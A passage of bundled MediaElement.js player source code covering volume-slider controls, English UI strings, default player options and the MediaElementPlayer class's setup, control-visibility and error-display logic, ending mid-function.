t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'horizontal-volume-slider'), volumeTotal = mode === 'vertical' ? t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'volume-total') : t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'horizontal-volume-total'), volumeCurrent = mode === 'vertical' ? t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'volume-current') : t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'horizontal-volume-current'), volumeHandle = mode === 'vertical' ? t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'volume-handle') : t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'horizontal-volume-handle'), positionVolumeHandle = function positionVolumeHandle(volume) { if (volume === null || isNaN(volume) || volume === undefined) { return; } volume = Math.max(0, volume); volume = Math.min(volume, 1); if (volume === 0) { (0, _dom.removeClass)(mute, t.options.classPrefix + 'mute'); (0, _dom.addClass)(mute, t.options.classPrefix + 'unmute'); var button = mute.firstElementChild; button.setAttribute('title', unmuteText); button.setAttribute('aria-label', unmuteText); } else { (0, _dom.removeClass)(mute, t.options.classPrefix + 'unmute'); (0, _dom.addClass)(mute, t.options.classPrefix + 'mute'); var _button = mute.firstElementChild; _button.setAttribute('title', muteText); _button.setAttribute('aria-label', muteText); } var volumePercentage = volume * 100 + '%', volumeStyles = getComputedStyle(volumeHandle); if (mode === 'vertical') { volumeCurrent.style.bottom = 0; volumeCurrent.style.height = volumePercentage; volumeHandle.style.bottom = volumePercentage; volumeHandle.style.marginBottom = -parseFloat(volumeStyles.height) / 2 + 'px'; } else { volumeCurrent.style.left = 0; volumeCurrent.style.width = volumePercentage; volumeHandle.style.left = volumePercentage; volumeHandle.style.marginLeft = -parseFloat(volumeStyles.width) / 2 + 'px'; } }, handleVolumeMove = function handleVolumeMove(e) { var totalOffset = (0, _dom.offset)(volumeTotal), volumeStyles = getComputedStyle(volumeTotal); modified = true; var volume = null; if (mode === 'vertical') { var railHeight = parseFloat(volumeStyles.height), newY = e.pageY - totalOffset.top; volume = (railHeight - newY) / railHeight; if (totalOffset.top === 0 || totalOffset.left === 0) { return; } } else { var railWidth = parseFloat(volumeStyles.width), newX = e.pageX - totalOffset.left; volume = newX / railWidth; } volume = Math.max(0, volume); volume = Math.min(volume, 1); positionVolumeHandle(volume); t.setMuted(volume === 0); t.setVolume(volume); e.preventDefault(); e.stopPropagation(); }, toggleMute = function toggleMute() { if (t.muted) { positionVolumeHandle(0); (0, _dom.removeClass)(mute, t.options.classPrefix + 'mute'); (0, _dom.addClass)(mute, t.options.classPrefix + 'unmute'); } else { positionVolumeHandle(media.volume); (0, _dom.removeClass)(mute, t.options.classPrefix + 'unmute'); (0, _dom.addClass)(mute, t.options.classPrefix + 'mute'); } }; player.getElement(player.container).addEventListener('keydown', function (e) { var hasFocus = !!e.target.closest('.' + t.options.classPrefix + 'container'); if (!hasFocus && mode === 'vertical') { volumeSlider.style.display = 'none'; } }); mute.addEventListener('mouseenter', function (e) { if (e.target === mute) { volumeSlider.style.display = 'block'; mouseIsOver = true; e.preventDefault(); e.stopPropagation(); } }); mute.addEventListener('focusin', function () { volumeSlider.style.display = 'block'; mouseIsOver = true; }); mute.addEventListener('focusout', function (e) { if ((!e.relatedTarget || e.relatedTarget && !e.relatedTarget.matches('.' + t.options.classPrefix + 'volume-slider')) && mode === 'vertical') { volumeSlider.style.display = 'none'; } }); mute.addEventListener('mouseleave', function () { mouseIsOver = false; if (!mouseIsDown && mode === 'vertical') { volumeSlider.style.display = 'none'; } }); mute.addEventListener('focusout', function () { mouseIsOver = false; }); mute.addEventListener('keydown', function (e) { if (t.options.enableKeyboard && t.options.keyActions.length) { var keyCode = e.which || e.keyCode || 0, volume = media.volume; switch (keyCode) { case 38: volume = Math.min(volume + 0.1, 1); break; case 40: volume = Math.max(0, volume - 0.1); break; default: return true; } mouseIsDown = false; positionVolumeHandle(volume); media.setVolume(volume); e.preventDefault(); e.stopPropagation(); } }); mute.querySelector('button').addEventListener('click', function () { media.setMuted(!media.muted); var event = (0, _general.createEvent)('volumechange', media); media.dispatchEvent(event); }); volumeSlider.addEventListener('dragstart', function () { return false; }); volumeSlider.addEventListener('mouseover', function () { mouseIsOver = true; }); volumeSlider.addEventListener('focusin', function () { volumeSlider.style.display = 'block'; mouseIsOver = true; }); volumeSlider.addEventListener('focusout', function () { mouseIsOver = false; if (!mouseIsDown && mode === 'vertical') { volumeSlider.style.display = 'none'; } }); volumeSlider.addEventListener('mousedown', function (e) { handleVolumeMove(e); t.globalBind('mousemove.vol', function (event) { var target = event.target; if (mouseIsDown && (target === volumeSlider || target.closest(mode === 'vertical' ? '.' + t.options.classPrefix + 'volume-slider' : '.' + t.options.classPrefix + 'horizontal-volume-slider'))) { handleVolumeMove(event); } }); t.globalBind('mouseup.vol', function () { mouseIsDown = false; if (!mouseIsOver && mode === 'vertical') { volumeSlider.style.display = 'none'; } }); mouseIsDown = true; e.preventDefault(); e.stopPropagation(); }); media.addEventListener('volumechange', function (e) { if (!mouseIsDown) { toggleMute(); } updateVolumeSlider(e); }); var rendered = false; media.addEventListener('rendererready', function () { if (!modified) { setTimeout(function () { rendered = true; if (player.options.startVolume === 0 || media.originalNode.muted) { media.setMuted(true); player.options.startVolume = 0; } media.setVolume(player.options.startVolume); t.setControlsSize(); }, 250); } }); media.addEventListener('loadedmetadata', function () { setTimeout(function () { if (!modified && !rendered) { if (player.options.startVolume === 0 || media.originalNode.muted) { media.setMuted(true); } media.setVolume(player.options.startVolume); t.setControlsSize(); } rendered = false; }, 250); }); if (player.options.startVolume === 0 || media.originalNode.muted) { media.setMuted(true); player.options.startVolume = 0; toggleMute(); } t.getElement(t.container).addEventListener('controlsresize', function () { toggleMute(); }); } }); },{"16":16,"2":2,"25":25,"26":26,"27":27,"5":5}],15:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var EN = exports.EN = { 'mejs.plural-form': 1, 'mejs.download-file': 'Download File', 'mejs.install-flash': 'You are using a browser that does not have Flash player enabled or installed. Please turn on your Flash player plugin or download the latest version from https://get.adobe.com/flashplayer/', 'mejs.fullscreen': 'Fullscreen', 'mejs.play': 'Play', 'mejs.pause': 'Pause', 'mejs.time-slider': 'Time Slider', 'mejs.time-help-text': 'Use Left/Right Arrow keys to advance one second, Up/Down arrows to advance ten seconds.', 'mejs.live-broadcast': 'Live Broadcast', 'mejs.volume-help-text': 'Use Up/Down Arrow keys to increase or decrease volume.', 'mejs.unmute': 'Unmute', 'mejs.mute': 'Mute', 'mejs.volume-slider': 'Volume Slider', 'mejs.video-player': 'Video Player', 'mejs.audio-player': 'Audio Player', 'mejs.captions-subtitles': 'Captions/Subtitles', 'mejs.captions-chapters': 'Chapters', 'mejs.none': 'None', 'mejs.afrikaans': 'Afrikaans', 'mejs.albanian': 'Albanian', 'mejs.arabic': 'Arabic', 'mejs.belarusian': 'Belarusian', 'mejs.bulgarian': 'Bulgarian', 'mejs.catalan': 'Catalan', 'mejs.chinese': 'Chinese', 'mejs.chinese-simplified': 'Chinese (Simplified)', 'mejs.chinese-traditional': 'Chinese (Traditional)', 'mejs.croatian': 'Croatian', 'mejs.czech': 'Czech', 'mejs.danish': 'Danish', 'mejs.dutch': 'Dutch', 'mejs.english': 'English', 'mejs.estonian': 'Estonian', 'mejs.filipino': 'Filipino', 'mejs.finnish': 'Finnish', 'mejs.french': 'French', 'mejs.galician': 'Galician', 'mejs.german': 'German', 'mejs.greek': 'Greek', 'mejs.haitian-creole': 'Haitian Creole', 'mejs.hebrew': 'Hebrew', 'mejs.hindi': 'Hindi', 'mejs.hungarian': 'Hungarian', 'mejs.icelandic': 'Icelandic', 'mejs.indonesian': 'Indonesian', 'mejs.irish': 'Irish', 'mejs.italian': 'Italian', 'mejs.japanese': 'Japanese', 'mejs.korean': 'Korean', 'mejs.latvian': 'Latvian', 'mejs.lithuanian': 'Lithuanian', 'mejs.macedonian': 'Macedonian', 'mejs.malay': 'Malay', 'mejs.maltese': 'Maltese', 'mejs.norwegian': 'Norwegian', 'mejs.persian': 'Persian', 'mejs.polish': 'Polish', 'mejs.portuguese': 'Portuguese', 'mejs.romanian': 'Romanian', 'mejs.russian': 'Russian', 'mejs.serbian': 'Serbian', 'mejs.slovak': 'Slovak', 'mejs.slovenian': 'Slovenian', 'mejs.spanish': 'Spanish', 'mejs.swahili': 'Swahili', 'mejs.swedish': 'Swedish', 'mejs.tagalog': 'Tagalog', 'mejs.thai': 'Thai', 'mejs.turkish': 'Turkish', 'mejs.ukrainian': 'Ukrainian', 'mejs.vietnamese': 'Vietnamese', 'mejs.welsh': 'Welsh', 'mejs.yiddish': 'Yiddish' }; },{}],16:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.config = undefined; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _mediaelement = _dereq_(6); var _mediaelement2 = _interopRequireDefault(_mediaelement); var _default = _dereq_(17); var _default2 = _interopRequireDefault(_default); var _i18n = _dereq_(5); var _i18n2 = _interopRequireDefault(_i18n); var _constants = _dereq_(25); var _general = _dereq_(27); var _time = _dereq_(30); var _media = _dereq_(28); var _dom = _dereq_(26); var dom = _interopRequireWildcard(_dom); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj.default = obj; return newObj; } } function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } _mejs2.default.mepIndex = 0; _mejs2.default.players = {}; var config = exports.config = { poster: '', showPosterWhenEnded: false, showPosterWhenPaused: false, defaultVideoWidth: 480, defaultVideoHeight: 270, videoWidth: -1, videoHeight: -1, defaultAudioWidth: 400, defaultAudioHeight: 40, defaultSeekBackwardInterval: function defaultSeekBackwardInterval(media) { return media.getDuration() * 0.05; }, defaultSeekForwardInterval: function defaultSeekForwardInterval(media) { return media.getDuration() * 0.05; }, setDimensions: true, audioWidth: -1, audioHeight: -1, loop: false, autoRewind: true, enableAutosize: true, timeFormat: '', alwaysShowHours: false, showTimecodeFrameCount: false, framesPerSecond: 25, alwaysShowControls: false, hideVideoControlsOnLoad: false, hideVideoControlsOnPause: false, clickToPlayPause: true, controlsTimeoutDefault: 1500, controlsTimeoutMouseEnter: 2500, controlsTimeoutMouseLeave: 1000, iPadUseNativeControls: false, iPhoneUseNativeControls: false, AndroidUseNativeControls: false, features: ['playpause', 'current', 'progress', 'duration', 'tracks', 'volume', 'fullscreen'], useDefaultControls: false, isVideo: true, stretching: 'auto', classPrefix: 'mejs__', enableKeyboard: true, pauseOtherPlayers: true, secondsDecimalLength: 0, customError: null, keyActions: [{ keys: [32, 179], action: function action(player) { if (!_constants.IS_FIREFOX) { if (player.paused || player.ended) { player.play(); } else { player.pause(); } } } }] }; _mejs2.default.MepDefaults = config; var MediaElementPlayer = function () { function MediaElementPlayer(node, o) { _classCallCheck(this, MediaElementPlayer); var t = this, element = typeof node === 'string' ? _document2.default.getElementById(node) : node; if (!(t instanceof MediaElementPlayer)) { return new MediaElementPlayer(element, o); } t.node = t.media = element; if (!t.node) { return; } if (t.media.player) { return t.media.player; } t.hasFocus = false; t.controlsAreVisible = true; t.controlsEnabled = true; t.controlsTimer = null; t.currentMediaTime = 0; t.proxy = null; if (o === undefined) { var options = t.node.getAttribute('data-mejsoptions'); o = options ? JSON.parse(options) : {}; } t.options = Object.assign({}, config, o); if (t.options.loop && !t.media.getAttribute('loop')) { t.media.loop = true; t.node.loop = true; } else if (t.media.loop) { t.options.loop = true; } if (!t.options.timeFormat) { t.options.timeFormat = 'mm:ss'; if (t.options.alwaysShowHours) { t.options.timeFormat = 'hh:mm:ss'; } if (t.options.showTimecodeFrameCount) { t.options.timeFormat += ':ff'; } } (0, _time.calculateTimeFormat)(0, t.options, t.options.framesPerSecond || 25); t.id = 'mep_' + _mejs2.default.mepIndex++; _mejs2.default.players[t.id] = t; t.init(); return t; } _createClass(MediaElementPlayer, [{ key: 'getElement', value: function getElement(element) { return element; } }, { key: 'init', value: function init() { var t = this, playerOptions = Object.assign({}, t.options, { success: function success(media, domNode) { t._meReady(media, domNode); }, error: function error(e) { t._handleError(e); } }), tagName = t.node.tagName.toLowerCase(); t.isDynamic = tagName !== 'audio' && tagName !== 'video' && tagName !== 'iframe'; t.isVideo = t.isDynamic ? t.options.isVideo : tagName !== 'audio' && t.options.isVideo; t.mediaFiles = null; t.trackFiles = null; if (_constants.IS_IPAD && t.options.iPadUseNativeControls || _constants.IS_IPHONE && t.options.iPhoneUseNativeControls) { t.node.setAttribute('controls', true); if (_constants.IS_IPAD && t.node.getAttribute('autoplay')) { t.play(); } } else if ((t.isVideo || !t.isVideo && (t.options.features.length || t.options.useDefaultControls)) && !(_constants.IS_ANDROID && t.options.AndroidUseNativeControls)) { t.node.removeAttribute('controls'); var videoPlayerTitle = t.isVideo ? _i18n2.default.t('mejs.video-player') : _i18n2.default.t('mejs.audio-player'); var offscreen = _document2.default.createElement('span'); offscreen.className = t.options.classPrefix + 'offscreen'; offscreen.innerText = videoPlayerTitle; t.media.parentNode.insertBefore(offscreen, t.media); t.container = _document2.default.createElement('div'); t.getElement(t.container).id = t.id; t.getElement(t.container).className = t.options.classPrefix + 'container ' + t.options.classPrefix + 'container-keyboard-inactive ' + t.media.className; t.getElement(t.container).tabIndex = 0; t.getElement(t.container).setAttribute('role', 'application'); t.getElement(t.container).setAttribute('aria-label', videoPlayerTitle); t.getElement(t.container).innerHTML = '<div class="' + t.options.classPrefix + 'inner">' + ('<div class="' + t.options.classPrefix + 'mediaelement"></div>') + ('<div class="' + t.options.classPrefix + 'layers"></div>') + ('<div class="' + t.options.classPrefix + 'controls"></div>') + '</div>'; t.getElement(t.container).addEventListener('focus', function (e) { if (!t.controlsAreVisible && !t.hasFocus && t.controlsEnabled) { t.showControls(true); var btnSelector = (0, _general.isNodeAfter)(e.relatedTarget, t.getElement(t.container)) ? '.' + t.options.classPrefix + 'controls .' + t.options.classPrefix + 'button:last-child > button' : '.' + t.options.classPrefix + 'playpause-button > button', button = t.getElement(t.container).querySelector(btnSelector); button.focus(); } }); t.node.parentNode.insertBefore(t.getElement(t.container), t.node); if (!t.options.features.length && !t.options.useDefaultControls) { t.getElement(t.container).style.background = 'transparent'; t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'controls').style.display = 'none'; } if (t.isVideo && t.options.stretching === 'fill' && !dom.hasClass(t.getElement(t.container).parentNode, t.options.classPrefix + 'fill-container')) { t.outerContainer = t.media.parentNode; var wrapper = _document2.default.createElement('div'); wrapper.className = t.options.classPrefix + 'fill-container'; t.getElement(t.container).parentNode.insertBefore(wrapper, t.getElement(t.container)); wrapper.appendChild(t.getElement(t.container)); } if (_constants.IS_ANDROID) { dom.addClass(t.getElement(t.container), t.options.classPrefix + 'android'); } if (_constants.IS_IOS) { dom.addClass(t.getElement(t.container), t.options.classPrefix + 'ios'); } if (_constants.IS_IPAD) { dom.addClass(t.getElement(t.container), t.options.classPrefix + 'ipad'); } if (_constants.IS_IPHONE) { dom.addClass(t.getElement(t.container), t.options.classPrefix + 'iphone'); } dom.addClass(t.getElement(t.container), t.isVideo ? t.options.classPrefix + 'video' : t.options.classPrefix + 'audio'); t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'mediaelement').appendChild(t.node); t.media.player = t; t.controls = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'controls'); t.layers = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'layers'); var tagType = t.isVideo ? 'video' : 'audio', capsTagName = tagType.substring(0, 1).toUpperCase() + tagType.substring(1); if (t.options[tagType + 'Width'] > 0 || t.options[tagType + 'Width'].toString().indexOf('%') > -1) { t.width = t.options[tagType + 'Width']; } else if (t.node.style.width !== '' && t.node.style.width !== null) { t.width = t.node.style.width; } else if (t.node.getAttribute('width')) { t.width = t.node.getAttribute('width'); } else { t.width = t.options['default' + capsTagName + 'Width']; } if (t.options[tagType + 'Height'] > 0 || t.options[tagType + 'Height'].toString().indexOf('%') > -1) { t.height = t.options[tagType + 'Height']; } else if (t.node.style.height !== '' && t.node.style.height !== null) { t.height = t.node.style.height; } else if (t.node.getAttribute('height')) { t.height = t.node.getAttribute('height'); } else { t.height = t.options['default' + capsTagName + 'Height']; } t.initialAspectRatio = t.height >= t.width ? t.width / t.height : t.height / t.width; t.setPlayerSize(t.width, t.height); playerOptions.pluginWidth = t.width; playerOptions.pluginHeight = t.height; } else if (!t.isVideo && !t.options.features.length && !t.options.useDefaultControls) { t.node.style.display = 'none'; } _mejs2.default.MepDefaults = playerOptions; new _mediaelement2.default(t.media, playerOptions, t.mediaFiles); if (t.getElement(t.container) !== undefined && t.options.features.length && t.controlsAreVisible && !t.options.hideVideoControlsOnLoad) { var event = (0, _general.createEvent)('controlsshown', t.getElement(t.container)); t.getElement(t.container).dispatchEvent(event); } } }, { key: 'showControls', value: function showControls(doAnimation) { var t = this; doAnimation = doAnimation === undefined || doAnimation; if (t.controlsAreVisible || !t.isVideo) { return; } if (doAnimation) { (function () { dom.fadeIn(t.getElement(t.controls), 200, function () { dom.removeClass(t.getElement(t.controls), t.options.classPrefix + 'offscreen'); var event = (0, _general.createEvent)('controlsshown', t.getElement(t.container)); t.getElement(t.container).dispatchEvent(event); }); var controls = t.getElement(t.container).querySelectorAll('.' + t.options.classPrefix + 'control'); var _loop = function _loop(i, total) { dom.fadeIn(controls[i], 200, function () { dom.removeClass(controls[i], t.options.classPrefix + 'offscreen'); }); }; for (var i = 0, total = controls.length; i < total; i++) { _loop(i, total); } })(); } else { dom.removeClass(t.getElement(t.controls), t.options.classPrefix + 'offscreen'); t.getElement(t.controls).style.display = ''; t.getElement(t.controls).style.opacity = 1; var controls = t.getElement(t.container).querySelectorAll('.' + t.options.classPrefix + 'control'); for (var i = 0, total = controls.length; i < total; i++) { dom.removeClass(controls[i], t.options.classPrefix + 'offscreen'); controls[i].style.display = ''; } var event = (0, _general.createEvent)('controlsshown', t.getElement(t.container)); t.getElement(t.container).dispatchEvent(event); } t.controlsAreVisible = true; t.setControlsSize(); } }, { key: 'hideControls', value: function hideControls(doAnimation, forceHide) { var t = this; doAnimation = doAnimation === undefined || doAnimation; if (forceHide !== true && (!t.controlsAreVisible || t.options.alwaysShowControls || t.paused && t.readyState === 4 && (!t.options.hideVideoControlsOnLoad && t.currentTime <= 0 || !t.options.hideVideoControlsOnPause && t.currentTime > 0) || t.isVideo && !t.options.hideVideoControlsOnLoad && !t.readyState || t.ended)) { return; } if (doAnimation) { (function () { dom.fadeOut(t.getElement(t.controls), 200, function () { dom.addClass(t.getElement(t.controls), t.options.classPrefix + 'offscreen'); t.getElement(t.controls).style.display = ''; var event = (0, _general.createEvent)('controlshidden', t.getElement(t.container)); t.getElement(t.container).dispatchEvent(event); }); var controls = t.getElement(t.container).querySelectorAll('.' + t.options.classPrefix + 'control'); var _loop2 = function _loop2(i, total) { dom.fadeOut(controls[i], 200, function () { dom.addClass(controls[i], t.options.classPrefix + 'offscreen'); controls[i].style.display = ''; }); }; for (var i = 0, total = controls.length; i < total; i++) { _loop2(i, total); } })(); } else { dom.addClass(t.getElement(t.controls), t.options.classPrefix + 'offscreen'); t.getElement(t.controls).style.display = ''; t.getElement(t.controls).style.opacity = 0; var controls = t.getElement(t.container).querySelectorAll('.' + t.options.classPrefix + 'control'); for (var i = 0, total = controls.length; i < total; i++) { dom.addClass(controls[i], t.options.classPrefix + 'offscreen'); controls[i].style.display = ''; } var event = (0, _general.createEvent)('controlshidden', t.getElement(t.container)); t.getElement(t.container).dispatchEvent(event); } t.controlsAreVisible = false; } }, { key: 'startControlsTimer', value: function startControlsTimer(timeout) { var t = this; timeout = typeof timeout !== 'undefined' ? timeout : t.options.controlsTimeoutDefault; t.killControlsTimer('start'); t.controlsTimer = setTimeout(function () { t.hideControls(); t.killControlsTimer('hide'); }, timeout); } }, { key: 'killControlsTimer', value: function killControlsTimer() { var t = this; if (t.controlsTimer !== null) { clearTimeout(t.controlsTimer); delete t.controlsTimer; t.controlsTimer = null; } } }, { key: 'disableControls', value: function disableControls() { var t = this; t.killControlsTimer(); t.controlsEnabled = false; t.hideControls(false, true); } }, { key: 'enableControls', value: function enableControls() { var t = this; t.controlsEnabled = true; t.showControls(false); } }, { key: '_setDefaultPlayer', value: function _setDefaultPlayer() { var t = this; if (t.proxy) { t.proxy.pause(); } t.proxy = new _default2.default(t); t.media.addEventListener('loadedmetadata', function () { if (t.getCurrentTime() > 0 && t.currentMediaTime > 0) { t.setCurrentTime(t.currentMediaTime); if (!_constants.IS_IOS && !_constants.IS_ANDROID) { t.play(); } } }); } }, { key: '_meReady', value: function _meReady(media, domNode) { var t = this, autoplayAttr = domNode.getAttribute('autoplay'), autoplay = !(autoplayAttr === undefined || autoplayAttr === null || autoplayAttr === 'false'), isNative = media.rendererName !== null && /(native|html5)/i.test(t.media.rendererName); if (t.getElement(t.controls)) { t.enableControls(); } if (t.getElement(t.container) && t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'overlay-play')) { t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'overlay-play').style.display = ''; } if (t.created) { return; } t.created = true; t.media = media; t.domNode = domNode; if (!(_constants.IS_ANDROID && t.options.AndroidUseNativeControls) && !(_constants.IS_IPAD && t.options.iPadUseNativeControls) && !(_constants.IS_IPHONE && t.options.iPhoneUseNativeControls)) { if (!t.isVideo && !t.options.features.length && !t.options.useDefaultControls) { if (autoplay && isNative) { t.play(); } if (t.options.success) { if (typeof t.options.success === 'string') { _window2.default[t.options.success](t.media, t.domNode, t); } else { t.options.success(t.media, t.domNode, t); } } return; } t.featurePosition = {}; t._setDefaultPlayer(); t.buildposter(t, t.getElement(t.controls), t.getElement(t.layers), t.media); t.buildkeyboard(t, t.getElement(t.controls), t.getElement(t.layers), t.media); t.buildoverlays(t, t.getElement(t.controls), t.getElement(t.layers), t.media); if (t.options.useDefaultControls) { var defaultControls = ['playpause', 'current', 'progress', 'duration', 'tracks', 'volume', 'fullscreen']; t.options.features = defaultControls.concat(t.options.features.filter(function (item) { return defaultControls.indexOf(item) === -1; })); } t.buildfeatures(t, t.getElement(t.controls), t.getElement(t.layers), t.media); var event = (0, _general.createEvent)('controlsready', t.getElement(t.container)); t.getElement(t.container).dispatchEvent(event); t.setPlayerSize(t.width, t.height); t.setControlsSize(); if (t.isVideo) { t.clickToPlayPauseCallback = function () { if (t.options.clickToPlayPause) { var button = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'overlay-button'), pressed = button.getAttribute('aria-pressed'); if (t.paused && pressed) { t.pause(); } else if (t.paused) { t.play(); } else { t.pause(); } button.setAttribute('aria-pressed', !pressed); t.getElement(t.container).focus(); } }; t.createIframeLayer(); t.media.addEventListener('click', t.clickToPlayPauseCallback); if ((_constants.IS_ANDROID || _constants.IS_IOS) && !t.options.alwaysShowControls) { t.node.addEventListener('touchstart', function () { if (t.controlsAreVisible) { t.hideControls(false); } else { if (t.controlsEnabled) { t.showControls(false); } } }, _constants.SUPPORT_PASSIVE_EVENT ? { passive: true } : false); } else { t.getElement(t.container).addEventListener('mouseenter', function () { if (t.controlsEnabled) { if (!t.options.alwaysShowControls) { t.killControlsTimer('enter'); t.showControls(); t.startControlsTimer(t.options.controlsTimeoutMouseEnter); } } }); t.getElement(t.container).addEventListener('mousemove', function () { if (t.controlsEnabled) { if (!t.controlsAreVisible) { t.showControls(); } if (!t.options.alwaysShowControls) { t.startControlsTimer(t.options.controlsTimeoutMouseEnter); } } }); t.getElement(t.container).addEventListener('mouseleave', function () { if (t.controlsEnabled) { if (!t.paused && !t.options.alwaysShowControls) { t.startControlsTimer(t.options.controlsTimeoutMouseLeave); } } }); } if (t.options.hideVideoControlsOnLoad) { t.hideControls(false); } if (t.options.enableAutosize) { t.media.addEventListener('loadedmetadata', function (e) { var target = e !== undefined ? e.detail.target || e.target : t.media; if (t.options.videoHeight <= 0 && !t.domNode.getAttribute('height') && !t.domNode.style.height && target !== null && !isNaN(target.videoHeight)) { t.setPlayerSize(target.videoWidth, target.videoHeight); t.setControlsSize(); t.media.setSize(target.videoWidth, target.videoHeight); } }); } } t.media.addEventListener('play', function () { t.hasFocus = true; for (var playerIndex in _mejs2.default.players) { if (_mejs2.default.players.hasOwnProperty(playerIndex)) { var p = _mejs2.default.players[playerIndex]; if (p.id !== t.id && t.options.pauseOtherPlayers && !p.paused && !p.ended && p.options.ignorePauseOtherPlayersOption !== true) { p.pause(); p.hasFocus = false; } } } if (!(_constants.IS_ANDROID || _constants.IS_IOS) && !t.options.alwaysShowControls && t.isVideo) { t.hideControls(); } }); t.media.addEventListener('ended', function () { if (t.options.autoRewind) { try { t.setCurrentTime(0); setTimeout(function () { var loadingElement = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'overlay-loading'); if (loadingElement && loadingElement.parentNode) { loadingElement.parentNode.style.display = 'none'; } }, 20); } catch (exp) { } } if (typeof t.media.renderer.stop === 'function') { t.media.renderer.stop(); } else { t.pause(); } if (t.setProgressRail) { t.setProgressRail(); } if (t.setCurrentRail) { t.setCurrentRail(); } if (t.options.loop) { t.play(); } else if (!t.options.alwaysShowControls && t.controlsEnabled) { t.showControls(); } }); t.media.addEventListener('loadedmetadata', function () { (0, _time.calculateTimeFormat)(t.getDuration(), t.options, t.options.framesPerSecond || 25); if (t.updateDuration) { t.updateDuration(); } if (t.updateCurrent) { t.updateCurrent(); } if (!t.isFullScreen) { t.setPlayerSize(t.width, t.height); t.setControlsSize(); } }); var duration = null; t.media.addEventListener('timeupdate', function () { if (!isNaN(t.getDuration()) && duration !== t.getDuration()) { duration = t.getDuration(); (0, _time.calculateTimeFormat)(duration, t.options, t.options.framesPerSecond || 25); if (t.updateDuration) { t.updateDuration(); } if (t.updateCurrent) { t.updateCurrent(); } t.setControlsSize(); } }); t.getElement(t.container).addEventListener('click', function (e) { dom.addClass(e.currentTarget, t.options.classPrefix + 'container-keyboard-inactive'); }); t.getElement(t.container).addEventListener('focusin', function (e) { dom.removeClass(e.currentTarget, t.options.classPrefix + 'container-keyboard-inactive'); if (t.isVideo && !_constants.IS_ANDROID && !_constants.IS_IOS && t.controlsEnabled && !t.options.alwaysShowControls) { t.killControlsTimer('enter'); t.showControls(); t.startControlsTimer(t.options.controlsTimeoutMouseEnter); } }); t.getElement(t.container).addEventListener('focusout', function (e) { setTimeout(function () { if (e.relatedTarget) { if (t.keyboardAction && !e.relatedTarget.closest('.' + t.options.classPrefix + 'container')) { t.keyboardAction = false; if (t.isVideo && !t.options.alwaysShowControls && !t.paused) { t.startControlsTimer(t.options.controlsTimeoutMouseLeave); } } } }, 0); }); setTimeout(function () { t.setPlayerSize(t.width, t.height); t.setControlsSize(); }, 0); t.globalResizeCallback = function () { if (!(t.isFullScreen || _constants.HAS_TRUE_NATIVE_FULLSCREEN && _document2.default.webkitIsFullScreen)) { t.setPlayerSize(t.width, t.height); } t.setControlsSize(); }; t.globalBind('resize', t.globalResizeCallback); } if (autoplay && isNative) { t.play(); } if (t.options.success) { if (typeof t.options.success === 'string') { _window2.default[t.options.success](t.media, t.domNode, t); } else { t.options.success(t.media, t.domNode, t); } } } }, { key: '_handleError', value: function _handleError(e, media, node) { var t = this, play = t.getElement(t.layers).querySelector('.' + t.options.classPrefix + 'overlay-play'); if (play) { play.style.display = 'none'; } if (t.options.error) { t.options.error(e, media, node); } if (t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'cannotplay')) { t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'cannotplay').remove(); } var errorContainer = _document2.default.createElement('div'); errorContainer.className = t.options.classPrefix + 'cannotplay'; errorContainer.style.width = '100%'; errorContainer.style.height = '100%'; var errorContent = typeof t.options.customError === 'function' ? t.options.customError(t.media, t.media.originalNode) : t.options.customError, imgError = ''; if (!errorContent) { var poster = t.media.originalNode.getAttribute('poster'); if (poster) { imgError = '<img src="' + poster + '" alt="' + _mejs2.default.i18n.t('mejs.download-file') + '">'; } if (e.message) { errorContent = '<p>' + e.message + '</p>'; } if (e.urls) { for (var i = 0, total = e.urls.length; i < total; i++) { var url = e.urls[i]; errorContent += '<a href="' + url.src + '" data-type="' + url.type + '"><span>' + _mejs2.default.i18n.t('mejs.download-file') + ': ' + url.src + '</span></a>'; } } } if (errorContent && t.getElement(t.layers).querySelector('.' + t.options.classPrefix + 'overlay-error')) { errorContainer.innerHTML = errorContent; t.getElement(t.layers).querySelector('.' + t.options.classPrefix + 'overlay-error').innerHTML = '' + imgError + errorContainer.outerHTML; t.getElement(t.layers).querySelector('.' + t.options.classPrefix + 'overlay-error').parentNode.style.display = 'block'; } if (t.controlsEnabled) { t.disableControls(); } } }, { key: 'setPlayerSize', value: function 